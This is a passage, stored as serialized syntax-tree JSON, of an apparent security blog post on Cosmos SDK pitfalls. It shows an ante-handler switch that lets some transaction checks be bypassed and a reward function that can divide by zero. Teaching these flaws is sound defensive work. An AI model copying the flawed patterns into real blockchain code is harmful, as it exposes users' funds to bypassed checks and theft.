79615,79619],{"type":23,"tag":134,"props":79586,"children":79587},{"style":179},[79588],{"type":28,"value":79589},"    ) (",{"type":23,"tag":134,"props":79591,"children":79592},{"style":162},[79593],{"type":28,"value":79594},"newCtx",{"type":23,"tag":134,"props":79596,"children":79597},{"style":597},[79598],{"type":28,"value":78153},{"type":23,"tag":134,"props":79600,"children":79601},{"style":179},[79602],{"type":28,"value":720},{"type":23,"tag":134,"props":79604,"children":79605},{"style":597},[79606],{"type":28,"value":75861},{"type":23,"tag":134,"props":79608,"children":79609},{"style":179},[79610],{"type":28,"value":242},{"type":23,"tag":134,"props":79612,"children":79613},{"style":162},[79614],{"type":28,"value":47925},{"type":23,"tag":134,"props":79616,"children":79617},{"style":597},[79618],{"type":28,"value":14345},{"type":23,"tag":134,"props":79620,"children":79621},{"style":179},[79622],{"type":28,"value":14272},{"type":23,"tag":134,"props":79624,"children":79625},{"class":136,"line":780},[79626,79631,79636,79640,79644],{"type":23,"tag":134,"props":79627,"children":79628},{"style":151},[79629],{"type":28,"value":79630},"        var",{"type":23,"tag":134,"props":79632,"children":79633},{"style":162},[79634],{"type":28,"value":79635}," anteHandler",{"type":23,"tag":134,"props":79637,"children":79638},{"style":597},[79639],{"type":28,"value":78153},{"type":23,"tag":134,"props":79641,"children":79642},{"style":179},[79643],{"type":28,"value":720},{"type":23,"tag":134,"props":79645,"children":79646},{"style":597},[79647],{"type":28,"value":79648},"AnteHandler\n",{"type":23,"tag":134,"props":79650,"children":79651},{"class":136,"line":797},[79652],{"type":23,"tag":134,"props":79653,"children":79654},{"emptyLinePlaceholder":15},[79655],{"type":28,"value":865},{"type":23,"tag":134,"props":79657,"children":79658},{"class":136,"line":814},[79659,79664,79669,79673,79677,79681,79686,79690,79694,79698],{"type":23,"tag":134,"props":79660,"children":79661},{"style":189},[79662],{"type":28,"value":79663},"        defer",{"type":23,"tag":134,"props":79665,"children":79666},{"style":264},[79667],{"type":28,"value":79668}," Recover",{"type":23,"tag":134,"props":79670,"children":79671},{"style":179},[79672],{"type":28,"value":272},{"type":23,"tag":134,"props":79674,"children":79675},{"style":162},[79676],{"type":28,"value":19758},{"type":23,"tag":134,"props":79678,"children":79679},{"style":179},[79680],{"type":28,"value":720},{"type":23,"tag":134,"props":79682,"children":79683},{"style":264},[79684],{"type":28,"value":79685},"Logger",{"type":23,"tag":134,"props":79687,"children":79688},{"style":179},[79689],{"type":28,"value":17849},{"type":23,"tag":134,"props":79691,"children":79692},{"style":168},[79693],{"type":28,"value":277},{"type":23,"tag":134,"props":79695,"children":79696},{"style":162},[79697],{"type":28,"value":47925},{"type":23,"tag":134,"props":79699,"children":79700},{"style":179},[79701],{"type":28,"value":329},{"type":23,"tag":134,"props":79703,"children":79704},{"class":136,"line":827},[79705],{"type":23,"tag":134,"props":79706,"children":79707},{"emptyLinePlaceholder":15},[79708],{"type":28,"value":865},{"type":23,"tag":134,"props":79710,"children":79711},{"class":136,"line":836},[79712,79717,79721,79725,79729,79733,79737,79742,79746,79751],{"type":23,"tag":134,"props":79713,"children":79714},{"style":162},[79715],{"type":28,"value":79716},"        txWithExtensions",{"type":23,"tag":134,"props":79718,"children":79719},{"style":179},[79720],{"type":28,"value":242},{"type":23,"tag":134,"props":79722,"children":79723},{"style":162},[79724],{"type":28,"value":78279},{"type":23,"tag":134,"props":79726,"children":79727},{"style":168},[79728],{"type":28,"value":75928},{"type":23,"tag":134,"props":79730,"children":79731},{"style":162},[79732],{"type":28,"value":67537},{"type":23,"tag":134,"props":79734,"children":79735},{"style":179},[79736],{"type":28,"value":78292},{"type":23,"tag":134,"props":79738,"children":79739},{"style":597},[79740],{"type":28,"value":79741},"authante",{"type":23,"tag":134,"props":79743,"children":79744},{"style":179},[79745],{"type":28,"value":720},{"type":23,"tag":134,"props":79747,"children":79748},{"style":597},[79749],{"type":28,"value":79750},"HasExtensionOptionsTx",{"type":23,"tag":134,"props":79752,"children":79753},{"style":179},[79754],{"type":28,"value":329},{"type":23,"tag":134,"props":79756,"children":79757},{"class":136,"line":859},[79758,79762,79767],{"type":23,"tag":134,"props":79759,"children":79760},{"style":189},[79761],{"type":28,"value":444},{"type":23,"tag":134,"props":79763,"children":79764},{"style":162},[79765],{"type":28,"value":79766}," ok",{"type":23,"tag":134,"props":79768,"children":79769},{"style":179},[79770],{"type":28,"value":463},{"type":23,"tag":134,"props":79772,"children":79773},{"class":136,"line":868},[79774,79779,79783,79788,79792,79797],{"type":23,"tag":134,"props":79775,"children":79776},{"style":162},[79777],{"type":28,"value":79778},"            opts",{"type":23,"tag":134,"props":79780,"children":79781},{"style":168},[79782],{"type":28,"value":75928},{"type":23,"tag":134,"props":79784,"children":79785},{"style":162},[79786],{"type":28,"value":79787}," txWithExtensions",{"type":23,"tag":134,"props":79789,"children":79790},{"style":179},[79791],{"type":28,"value":720},{"type":23,"tag":134,"props":79793,"children":79794},{"style":264},[79795],{"type":28,"value":79796},"GetExtensionOptions",{"type":23,"tag":134,"props":79798,"children":79799},{"style":179},[79800],{"type":28,"value":7194},{"type":23,"tag":134,"props":79802,"children":79803},{"class":136,"line":877},[79804,79808,79812,79816,79820,79824,79828,79832],{"type":23,"tag":134,"props":79805,"children":79806},{"style":189},[79807],{"type":28,"value":58308},{"type":23,"tag":134,"props":79809,"children":79810},{"style":264},[79811],{"type":28,"value":8017},{"type":23,"tag":134,"props":79813,"children":79814},{"style":179},[79815],{"type":28,"value":272},{"type":23,"tag":134,"props":79817,"children":79818},{"style":162},[79819],{"type":28,"value":48067},{"type":23,"tag":134,"props":79821,"children":79822},{"style":179},[79823],{"type":28,"value":252},{"type":23,"tag":134,"props":79825,"children":79826},{"style":168},[79827],{"type":28,"value":9927},{"type":23,"tag":134,"props":79829,"children":79830},{"style":205},[79831],{"type":28,"value":208},{"type":23,"tag":134,"props":79833,"children":79834},{"style":179},[79835],{"type":28,"value":463},{"type":23,"tag":134,"props":79837,"children":79838},{"class":136,"line":946},[79839,79844,79849,79853,79858,79862,79866,79870,79875,79879,79884],{"type":23,"tag":134,"props":79840,"children":79841},{"style":189},[79842],{"type":28,"value":79843},"                switch",{"type":23,"tag":134,"props":79845,"children":79846},{"style":162},[79847],{"type":28,"value":79848}," typeURL",{"type":23,"tag":134,"props":79850,"children":79851},{"style":168},[79852],{"type":28,"value":75928},{"type":23,"tag":134,"props":79854,"children":79855},{"style":162},[79856],{"type":28,"value":79857}," opts",{"type":23,"tag":134,"props":79859,"children":79860},{"style":179},[79861],{"type":28,"value":924},{"type":23,"tag":134,"props":79863,"children":79864},{"style":205},[79865],{"type":28,"value":1224},{"type":23,"tag":134,"props":79867,"children":79868},{"style":179},[79869],{"type":28,"value":49854},{"type":23,"tag":134,"props":79871,"children":79872},{"style":264},[79873],{"type":28,"value":79874},"GetTypeUrl",{"type":23,"tag":134,"props":79876,"children":79877},{"style":179},[79878],{"type":28,"value":27940},{"type":23,"tag":134,"props":79880,"children":79881},{"style":162},[79882],{"type":28,"value":79883},"typeURL",{"type":23,"tag":134,"props":79885,"children":79886},{"style":179},[79887],{"type":28,"value":463},{"type":23,"tag":134,"props":79889,"children":79890},{"class":136,"line":954},[79891,79896,79901],{"type":23,"tag":134,"props":79892,"children":79893},{"style":189},[79894],{"type":28,"value":79895},"                case",{"type":23,"tag":134,"props":79897,"children":79898},{"style":1461},[79899],{"type":28,"value":79900}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":23,"tag":134,"props":79902,"children":79903},{"style":179},[79904],{"type":28,"value":5023},{"type":23,"tag":134,"props":79906,"children":79907},{"class":136,"line":984},[79908],{"type":23,"tag":134,"props":79909,"children":79910},{"style":141},[79911],{"type":28,"value":79912},"                    // handle as *evmtypes.MsgEthereumTx\n",{"type":23,"tag":134,"props":79914,"children":79915},{"class":136,"line":992},[79916],{"type":23,"tag":134,"props":79917,"children":79918},{"emptyLinePlaceholder":15},[79919],{"type":28,"value":865},{"type":23,"tag":134,"props":79921,"children":79922},{"class":136,"line":1024},[79923,79928,79932,79936,79940,79945],{"type":23,"tag":134,"props":79924,"children":79925},{"style":162},[79926],{"type":28,"value":79927},"                    anteHandler",{"type":23,"tag":134,"props":79929,"children":79930},{"style":168},[79931],{"type":28,"value":171},{"type":23,"tag":134,"props":79933,"children":79934},{"style":162},[79935],{"type":28,"value":78153},{"type":23,"tag":134,"props":79937,"children":79938},{"style":179},[79939],{"type":28,"value":720},{"type":23,"tag":134,"props":79941,"children":79942},{"style":264},[79943],{"type":28,"value":79944},"ChainAnteDecorators",{"type":23,"tag":134,"props":79946,"children":79947},{"style":179},[79948],{"type":28,"value":642},{"type":23,"tag":134,"props":79950,"children":79951},{"class":136,"line":1032},[79952,79957,79961],{"type":23,"tag":134,"props":79953,"children":79954},{"style":264},[79955],{"type":28,"value":79956},"                        NewEthSetUpContextDecorator",{"type":23,"tag":134,"props":79958,"children":79959},{"style":179},[79960],{"type":28,"value":17849},{"type":23,"tag":134,"props":79962,"children":79963},{"style":141},[79964],{"type":28,"value":78807},{"type":23,"tag":134,"props":79966,"children":79967},{"class":136,"line":1092},[79968],{"type":23,"tag":134,"props":79969,"children":79970},{"style":168},[79971],{"type":28,"value":79972},"                        ...\n",{"type":23,"tag":134,"props":79974,"children":79975},{"class":136,"line":8508},[79976,79981,79985,79990,79994],{"type":23,"tag":134,"props":79977,"children":79978},{"style":264},[79979],{"type":28,"value":79980},"                        NewEthIncrementSenderSequenceDecorator",{"type":23,"tag":134,"props":79982,"children":79983},{"style":179},[79984],{"type":28,"value":272},{"type":23,"tag":134,"props":79986,"children":79987},{"style":162},[79988],{"type":28,"value":79989},"ak",{"type":23,"tag":134,"props":79991,"children":79992},{"style":179},[79993],{"type":28,"value":14646},{"type":23,"tag":134,"props":79995,"children":79996},{"style":141},[79997],{"type":28,"value":79998},"// innermost AnteDecorator.\n",{"type":23,"tag":134,"props":80000,"children":80001},{"class":136,"line":8526},[80002],{"type":23,"tag":134,"props":80003,"children":80004},{"style":179},[80005],{"type":28,"value":80006},"                    )\n",{"type":23,"tag":134,"props":80008,"children":80009},{"class":136,"line":8571},[80010],{"type":23,"tag":134,"props":80011,"children":80012},{"emptyLinePlaceholder":15},[80013],{"type":28,"value":865},{"type":23,"tag":134,"props":80015,"children":80016},{"class":136,"line":8677},[80017,80022],{"type":23,"tag":134,"props":80018,"children":80019},{"style":189},[80020],{"type":28,"value":80021},"                default",{"type":23,"tag":134,"props":80023,"children":80024},{"style":179},[80025],{"type":28,"value":5023},{"type":23,"tag":134,"props":80027,"children":80028},{"class":136,"line":22988},[80029,80034,80038,80042,80047,80051,80056],{"type":23,"tag":134,"props":80030,"children":80031},{"style":189},[80032],{"type":28,"value":80033},"                    return",{"type":23,"tag":134,"props":80035,"children":80036},{"style":162},[80037],{"type":28,"value":25334},{"type":23,"tag":134,"props":80039,"children":80040},{"style":179},[80041],{"type":28,"value":242},{"type":23,"tag":134,"props":80043,"children":80044},{"style":162},[80045],{"type":28,"value":80046},"stacktrace",{"type":23,"tag":134,"props":80048,"children":80049},{"style":179},[80050],{"type":28,"value":720},{"type":23,"tag":134,"props":80052,"children":80053},{"style":264},[80054],{"type":28,"value":80055},"Propagate",{"type":23,"tag":134,"props":80057,"children":80058},{"style":179},[80059],{"type":28,"value":642},{"type":23,"tag":134,"props":80061,"children":80062},{"class":136,"line":23023},[80063,80068,80072,80076,80080,80085,80089,80094,80098,80102],{"type":23,"tag":134,"props":80064,"children":80065},{"style":162},[80066],{"type":28,"value":80067},"                        sdkerrors",{"type":23,"tag":134,"props":80069,"children":80070},{"style":179},[80071],{"type":28,"value":720},{"type":23,"tag":134,"props":80073,"children":80074},{"style":264},[80075],{"type":28,"value":78358},{"type":23,"tag":134,"props":80077,"children":80078},{"style":179},[80079],{"type":28,"value":272},{"type":23,"tag":134,"props":80081,"children":80082},{"style":162},[80083],{"type":28,"value":80084},"sdkerrors",{"type":23,"tag":134,"props":80086,"children":80087},{"style":179},[80088],{"type":28,"value":720},{"type":23,"tag":134,"props":80090,"children":80091},{"style":162},[80092],{"type":28,"value":80093},"ErrUnknownExtensionOptions",{"type":23,"tag":134,"props":80095,"children":80096},{"style":179},[80097],{"type":28,"value":242},{"type":23,"tag":134,"props":80099,"children":80100},{"style":162},[80101],{"type":28,"value":79883},{"type":23,"tag":134,"props":80103,"children":80104},{"style":179},[80105],{"type":28,"value":6194},{"type":23,"tag":134,"props":80107,"children":80108},{"class":136,"line":23031},[80109,80114],{"type":23,"tag":134,"props":80110,"children":80111},{"style":1461},[80112],{"type":28,"value":80113},"                        \"rejecting tx with unsupported extension option\"",{"type":23,"tag":134,"props":80115,"children":80116},{"style":179},[80117],{"type":28,"value":687},{"type":23,"tag":134,"props":80119,"children":80120},{"class":136,"line":23039},[80121],{"type":23,"tag":134,"props":80122,"children":80123},{"style":179},[80124],{"type":28,"value":80006},{"type":23,"tag":134,"props":80126,"children":80127},{"class":136,"line":23048},[80128],{"type":23,"tag":134,"props":80129,"children":80130},{"style":179},[80131],{"type":28,"value":70581},{"type":23,"tag":134,"props":80133,"children":80134},{"class":136,"line":23090},[80135],{"type":23,"tag":134,"props":80136,"children":80137},{"emptyLinePlaceholder":15},[80138],{"type":28,"value":865},{"type":23,"tag":134,"props":80140,"children":80141},{"class":136,"line":23123},[80142,80146,80150,80154,80158,80162,80166,80170,80174],{"type":23,"tag":134,"props":80143,"children":80144},{"style":189},[80145],{"type":28,"value":60236},{"type":23,"tag":134,"props":80147,"children":80148},{"style":264},[80149],{"type":28,"value":79635},{"type":23,"tag":134,"props":80151,"children":80152},{"style":179},[80153],{"type":28,"value":272},{"type":23,"tag":134,"props":80155,"children":80156},{"style":162},[80157],{"type":28,"value":19758},{"type":23,"tag":134,"props":80159,"children":80160},{"style":179},[80161],{"type":28,"value":242},{"type":23,"tag":134,"props":80163,"children":80164},{"style":162},[80165],{"type":28,"value":78693},{"type":23,"tag":134,"props":80167,"children":80168},{"style":179},[80169],{"type":28,"value":242},{"type":23,"tag":134,"props":80171,"children":80172},{"style":162},[80173],{"type":28,"value":79573},{"type":23,"tag":134,"props":80175,"children":80176},{"style":179},[80177],{"type":28,"value":329},{"type":23,"tag":134,"props":80179,"children":80180},{"class":136,"line":23131},[80181],{"type":23,"tag":134,"props":80182,"children":80183},{"style":179},[80184],{"type":28,"value":58392},{"type":23,"tag":134,"props":80186,"children":80187},{"class":136,"line":23139},[80188],{"type":23,"tag":134,"props":80189,"children":80190},{"style":179},[80191],{"type":28,"value":524},{"type":23,"tag":134,"props":80193,"children":80194},{"class":136,"line":23148},[80195],{"type":23,"tag":134,"props":80196,"children":80197},{"emptyLinePlaceholder":15},[80198],{"type":28,"value":865},{"type":23,"tag":134,"props":80200,"children":80201},{"class":136,"line":23224},[80202],{"type":23,"tag":134,"props":80203,"children":80204},{"style":141},[80205],{"type":28,"value":80206},"        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":23,"tag":134,"props":80208,"children":80209},{"class":136,"line":23257},[80210],{"type":23,"tag":134,"props":80211,"children":80212},{"emptyLinePlaceholder":15},[80213],{"type":28,"value":865},{"type":23,"tag":134,"props":80215,"children":80216},{"class":136,"line":23265},[80217,80222,80226,80230,80234],{"type":23,"tag":134,"props":80218,"children":80219},{"style":189},[80220],{"type":28,"value":80221},"        switch",{"type":23,"tag":134,"props":80223,"children":80224},{"style":162},[80225],{"type":28,"value":67537},{"type":23,"tag":134,"props":80227,"children":80228},{"style":179},[80229],{"type":28,"value":78292},{"type":23,"tag":134,"props":80231,"children":80232},{"style":151},[80233],{"type":28,"value":32252},{"type":23,"tag":134,"props":80235,"children":80236},{"style":179},[80237],{"type":28,"value":14272},{"type":23,"tag":134,"props":80239,"children":80240},{"class":136,"line":23273},[80241,80246,80250,80254,80258],{"type":23,"tag":134,"props":80242,"children":80243},{"style":189},[80244],{"type":28,"value":80245},"        case",{"type":23,"tag":134,"props":80247,"children":80248},{"style":597},[80249],{"type":28,"value":78153},{"type":23,"tag":134,"props":80251,"children":80252},{"style":179},[80253],{"type":28,"value":720},{"type":23,"tag":134,"props":80255,"children":80256},{"style":597},[80257],{"type":28,"value":78186},{"type":23,"tag":134,"props":80259,"children":80260},{"style":179},[80261],{"type":28,"value":5023},{"type":23,"tag":134,"props":80263,"children":80264},{"class":136,"line":23310},[80265,80270,80274,80278,80282,80286],{"type":23,"tag":134,"props":80266,"children":80267},{"style":162},[80268],{"type":28,"value":80269},"            anteHandler",{"type":23,"tag":134,"props":80271,"children":80272},{"style":168},[80273],{"type":28,"value":171},{"type":23,"tag":134,"props":80275,"children":80276},{"style":162},[80277],{"type":28,"value":78153},{"type":23,"tag":134,"props":80279,"children":80280},{"style":179},[80281],{"type":28,"value":720},{"type":23,"tag":134,"props":80283,"children":80284},{"style":264},[80285],{"type":28,"value":79944},{"type":23,"tag":134,"props":80287,"children":80288},{"style":179},[80289],{"type":28,"value":642},{"type":23,"tag":134,"props":80291,"children":80292},{"class":136,"line":23323},[80293,80298,80302,80307,80311],{"type":23,"tag":134,"props":80294,"children":80295},{"style":162},[80296],{"type":28,"value":80297},"                authante",{"type":23,"tag":134,"props":80299,"children":80300},{"style":179},[80301],{"type":28,"value":720},{"type":23,"tag":134,"props":80303,"children":80304},{"style":264},[80305],{"type":28,"value":80306},"NewSetUpContextDecorator",{"type":23,"tag":134,"props":80308,"children":80309},{"style":179},[80310],{"type":28,"value":17849},{"type":23,"tag":134,"props":80312,"children":80313},{"style":141},[80314],{"type":28,"value":78807},{"type":23,"tag":134,"props":80316,"children":80317},{"class":136,"line":23336},[80318],{"type":23,"tag":134,"props":80319,"children":80320},{"style":168},[80321],{"type":28,"value":80322},"                 ...\n",{"type":23,"tag":134,"props":80324,"children":80325},{"class":136,"line":23349},[80326,80330,80334,80339,80343,80347,80351],{"type":23,"tag":134,"props":80327,"children":80328},{"style":162},[80329],{"type":28,"value":80297},{"type":23,"tag":134,"props":80331,"children":80332},{"style":179},[80333],{"type":28,"value":720},{"type":23,"tag":134,"props":80335,"children":80336},{"style":264},[80337],{"type":28,"value":80338},"NewIncrementSequenceDecorator",{"type":23,"tag":134,"props":80340,"children":80341},{"style":179},[80342],{"type":28,"value":272},{"type":23,"tag":134,"props":80344,"children":80345},{"style":162},[80346],{"type":28,"value":79989},{"type":23,"tag":134,"props":80348,"children":80349},{"style":179},[80350],{"type":28,"value":14646},{"type":23,"tag":134,"props":80352,"children":80353},{"style":141},[80354],{"type":28,"value":80355},"// innermost AnteDecorator\n",{"type":23,"tag":134,"props":80357,"children":80358},{"class":136,"line":23403},[80359],{"type":23,"tag":134,"props":80360,"children":80361},{"style":179},[80362],{"type":28,"value":77027},{"type":23,"tag":134,"props":80364,"children":80365},{"class":136,"line":23412},[80366,80371],{"type":23,"tag":134,"props":80367,"children":80368},{"style":189},[80369],{"type":28,"value":80370},"        default",{"type":23,"tag":134,"props":80372,"children":80373},{"style":179},[80374],{"type":28,"value":5023},{"type":23,"tag":134,"props":80376,"children":80377},{"class":136,"line":31776},[80378,80382,80386,80390,80394,80398,80402],{"type":23,"tag":134,"props":80379,"children":80380},{"style":189},[80381],{"type":28,"value":78588},{"type":23,"tag":134,"props":80383,"children":80384},{"style":162},[80385],{"type":28,"value":25334},{"type":23,"tag":134,"props":80387,"children":80388},{"style":179},[80389],{"type":28,"value":242},{"type":23,"tag":134,"props":80391,"children":80392},{"style":162},[80393],{"type":28,"value":80046},{"type":23,"tag":134,"props":80395,"children":80396},{"style":179},[80397],{"type":28,"value":720},{"type":23,"tag":134,"props":80399,"children":80400},{"style":264},[80401],{"type":28,"value":80055},{"type":23,"tag":134,"props":80403,"children":80404},{"style":179},[80405],{"type":28,"value":642},{"type":23,"tag":134,"props":80407,"children":80408},{"class":136,"line":31797},[80409,80414,80418,80423,80427,80431,80435,80440,80444,80449,80453,80457],{"type":23,"tag":134,"props":80410,"children":80411},{"style":162},[80412],{"type":28,"value":80413},"                sdkerrors",{"type":23,"tag":134,"props":80415,"children":80416},{"style":179},[80417],{"type":28,"value":720},{"type":23,"tag":134,"props":80419,"children":80420},{"style":264},[80421],{"type":28,"value":80422},"Wrapf",{"type":23,"tag":134,"props":80424,"children":80425},{"style":179},[80426],{"type":28,"value":272},{"type":23,"tag":134,"props":80428,"children":80429},{"style":162},[80430],{"type":28,"value":80084},{"type":23,"tag":134,"props":80432,"children":80433},{"style":179},[80434],{"type":28,"value":720},{"type":23,"tag":134,"props":80436,"children":80437},{"style":162},[80438],{"type":28,"value":80439},"ErrUnknownRequest",{"type":23,"tag":134,"props":80441,"children":80442},{"style":179},[80443],{"type":28,"value":242},{"type":23,"tag":134,"props":80445,"children":80446},{"style":1461},[80447],{"type":28,"value":80448},"\"invalid transaction type: %T\"",{"type":23,"tag":134,"props":80450,"children":80451},{"style":179},[80452],{"type":28,"value":242},{"type":23,"tag":134,"props":80454,"children":80455},{"style":162},[80456],{"type":28,"value":78693},{"type":23,"tag":134,"props":80458,"children":80459},{"style":179},[80460],{"type":28,"value":6194},{"type":23,"tag":134,"props":80462,"children":80464},{"class":136,"line":80463},53,[80465,80470],{"type":23,"tag":134,"props":80466,"children":80467},{"style":1461},[80468],{"type":28,"value":80469},"                \"transaction is not an SDK tx\"",{"type":23,"tag":134,"props":80471,"children":80472},{"style":179},[80473],{"type":28,"value":687},{"type":23,"tag":134,"props":80475,"children":80477},{"class":136,"line":80476},54,[80478],{"type":23,"tag":134,"props":80479,"children":80480},{"style":179},[80481],{"type":28,"value":77027},{"type":23,"tag":134,"props":80483,"children":80485},{"class":136,"line":80484},55,[80486],{"type":23,"tag":134,"props":80487,"children":80488},{"style":179},[80489],{"type":28,"value":524},{"type":23,"tag":134,"props":80491,"children":80493},{"class":136,"line":80492},56,[80494],{"type":23,"tag":134,"props":80495,"children":80496},{"emptyLinePlaceholder":15},[80497],{"type":28,"value":865},{"type":23,"tag":134,"props":80499,"children":80501},{"class":136,"line":80500},57,[80502,80506,80510,80514,80518,80522,80526,80530,80534],{"type":23,"tag":134,"props":80503,"children":80504},{"style":189},[80505],{"type":28,"value":15214},{"type":23,"tag":134,"props":80507,"children":80508},{"style":264},[80509],{"type":28,"value":79635},{"type":23,"tag":134,"props":80511,"children":80512},{"style":179},[80513],{"type":28,"value":272},{"type":23,"tag":134,"props":80515,"children":80516},{"style":162},[80517],{"type":28,"value":19758},{"type":23,"tag":134,"props":80519,"children":80520},{"style":179},[80521],{"type":28,"value":242},{"type":23,"tag":134,"props":80523,"children":80524},{"style":162},[80525],{"type":28,"value":78693},{"type":23,"tag":134,"props":80527,"children":80528},{"style":179},[80529],{"type":28,"value":242},{"type":23,"tag":134,"props":80531,"children":80532},{"style":162},[80533],{"type":28,"value":79573},{"type":23,"tag":134,"props":80535,"children":80536},{"style":179},[80537],{"type":28,"value":329},{"type":23,"tag":134,"props":80539,"children":80541},{"class":136,"line":80540},58,[80542],{"type":23,"tag":134,"props":80543,"children":80544},{"style":179},[80545],{"type":28,"value":533},{"type":23,"tag":134,"props":80547,"children":80549},{"class":136,"line":80548},59,[80550],{"type":23,"tag":134,"props":80551,"children":80552},{"style":179},[80553],{"type":28,"value":1098},{"type":23,"tag":24,"props":80555,"children":80556},{},[80557,80559,80564,80566,80573,80574,80581],{"type":28,"value":80558},"Additional examples of incorrect ",{"type":23,"tag":92,"props":80560,"children":80562},{"className":80561},[],[80563],{"type":28,"value":77982},{"type":28,"value":80565}," usage include ",{"type":23,"tag":31,"props":80567,"children":80570},{"href":80568,"rel":80569},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[35],[80571],{"type":28,"value":80572},"yet more bypassable checks and loss of funds",{"type":28,"value":10458},{"type":23,"tag":31,"props":80575,"children":80578},{"href":80576,"rel":80577},"https://github.com/cosmos/ibc-go/issues/853",[35],[80579],{"type":28,"value":80580},"incorrect data passing between blockchains",{"type":28,"value":720},{"type":23,"tag":61,"props":80583,"children":80585},{"id":80584},"errors-panics-i-can-handle-it",[80586],{"type":28,"value":80587},"Errors? Panics? I can handle it",{"type":23,"tag":24,"props":80589,"children":80590},{},[80591],{"type":28,"value":80592},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":23,"tag":24,"props":80594,"children":80595},{},[80596],{"type":28,"value":80597},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":23,"tag":24,"props":80599,"children":80600},{},[80601,80603,80609,80611,80616],{"type":28,"value":80602},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":23,"tag":92,"props":80604,"children":80606},{"className":80605},[],[80607],{"type":28,"value":80608},"k.keeper.TotalReward()",{"type":28,"value":80610}," returns zero, the ",{"type":23,"tag":92,"props":80612,"children":80614},{"className":80613},[],[80615],{"type":28,"value":57453},{"type":28,"value":80617}," execution will simply rollback as if nothing has happened.",{"type":23,"tag":87,"props":80619,"children":80621},{"code":80620,"language":75676,"meta":7,"className":75677,"style":7},"func (k msgServer) AllocateReward(\n    goCtx context.Context,\n    msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n    RewardPerShare := k.keeper.Shares() /  k.keeper.TotalReward()\n    k.keeper.DistributeReward(RewardPerShare)\n\n    return &types.MsgAllocateRewardResponse, nil\n}\n",[80622],{"type":23,"tag":92,"props":80623,"children":80624},{"__ignoreMap":7},[80625,80658,80681,80709,80745,80752,80821,80859,80866,80898],{"type":23,"tag":134,"props":80626,"children":80627},{"class":136,"line":137},[80628,80632,80636,80641,80645,80649,80654],{"type":23,"tag":134,"props":80629,"children":80630},{"style":151},[80631],{"type":28,"value":75812},{"type":23,"tag":134,"props":80633,"children":80634},{"style":179},[80635],{"type":28,"value":232},{"type":23,"tag":134,"props":80637,"children":80638},{"style":162},[80639],{"type":28,"value":80640},"k ",{"type":23,"tag":134,"props":80642,"children":80643},{"style":597},[80644],{"type":28,"value":75826},{"type":23,"tag":134,"props":80646,"children":80647},{"style":179},[80648],{"type":28,"value":252},{"type":23,"tag":134,"props":80650,"children":80651},{"style":264},[80652],{"type":28,"value":80653},"AllocateReward",{"type":23,"tag":134,"props":80655,"children":80656},{"style":179},[80657],{"type":28,"value":642},{"type":23,"tag":134,"props":80659,"children":80660},{"class":136,"line":147},[80661,80665,80669,80673,80677],{"type":23,"tag":134,"props":80662,"children":80663},{"style":162},[80664],{"type":28,"value":75847},{"type":23,"tag":134,"props":80666,"children":80667},{"style":597},[80668],{"type":28,"value":75852},{"type":23,"tag":134,"props":80670,"children":80671},{"style":179},[80672],{"type":28,"value":720},{"type":23,"tag":134,"props":80674,"children":80675},{"style":597},[80676],{"type":28,"value":75861},{"type":23,"tag":134,"props":80678,"children":80679},{"style":179},[80680],{"type":28,"value":687},{"type":23,"tag":134,"props":80682,"children":80683},{"class":136,"line":185},[80684,80688,80692,80696,80700,80705],{"type":23,"tag":134,"props":80685,"children":80686},{"style":162},[80687],{"type":28,"value":75873},{"type":23,"tag":134,"props":80689,"children":80690},{"style":168},[80691],{"type":28,"value":9281},{"type":23,"tag":134,"props":80693,"children":80694},{"style":597},[80695],{"type":28,"value":5214},{"type":23,"tag":134,"props":80697,"children":80698},{"style":179},[80699],{"type":28,"value":720},{"type":23,"tag":134,"props":80701,"children":80702},{"style":597},[80703],{"type":28,"value":80704},"MsgAllocateReward",{"type":23,"tag":134,"props":80706,"children":80707},{"style":179},[80708],{"type":28,"value":329},{"type":23,"tag":134,"props":80710,"children":80711},{"class":136,"line":221},[80712,80716,80720,80724,80728,80733,80737,80741],{"type":23,"tag":134,"props":80713,"children":80714},{"style":179},[80715],{"type":28,"value":272},{"type":23,"tag":134,"props":80717,"children":80718},{"style":168},[80719],{"type":28,"value":1777},{"type":23,"tag":134,"props":80721,"children":80722},{"style":597},[80723],{"type":28,"value":5214},{"type":23,"tag":134,"props":80725,"children":80726},{"style":179},[80727],{"type":28,"value":720},{"type":23,"tag":134,"props":80729,"children":80730},{"style":597},[80731],{"type":28,"value":80732},"MsgAllocatRewardResponse",{"type":23,"tag":134,"props":80734,"children":80735},{"style":179},[80736],{"type":28,"value":242},{"type":23,"tag":134,"props":80738,"children":80739},{"style":597},[80740],{"type":28,"value":14332},{"type":23,"tag":134,"props":80742,"children":80743},{"style":179},[80744],{"type":28,"value":14272},{"type":23,"tag":134,"props":80746,"children":80747},{"class":136,"line":332},[80748],{"type":23,"tag":134,"props":80749,"children":80750},{"emptyLinePlaceholder":15},[80751],{"type":28,"value":865},{"type":23,"tag":134,"props":80753,"children":80754},{"class":136,"line":438},[80755,80760,80764,80769,80773,80778,80782,80787,80791,80795,80800,80804,80808,80812,80817],{"type":23,"tag":134,"props":80756,"children":80757},{"style":162},[80758],{"type":28,"value":80759},"    RewardPerShare",{"type":23,"tag":134,"props":80761,"children":80762},{"style":168},[80763],{"type":28,"value":75928},{"type":23,"tag":134,"props":80765,"children":80766},{"style":162},[80767],{"type":28,"value":80768}," k",{"type":23,"tag":134,"props":80770,"children":80771},{"style":179},[80772],{"type":28,"value":720},{"type":23,"tag":134,"props":80774,"children":80775},{"style":162},[80776],{"type":28,"value":80777},"keeper",{"type":23,"tag":134,"props":80779,"children":80780},{"style":179},[80781],{"type":28,"value":720},{"type":23,"tag":134,"props":80783,"children":80784},{"style":264},[80785],{"type":28,"value":80786},"Shares",{"type":23,"tag":134,"props":80788,"children":80789},{"style":179},[80790],{"type":28,"value":13511},{"type":23,"tag":134,"props":80792,"children":80793},{"style":168},[80794],{"type":28,"value":1787},{"type":23,"tag":134,"props":80796,"children":80797},{"style":162},[80798],{"type":28,"value":80799},"  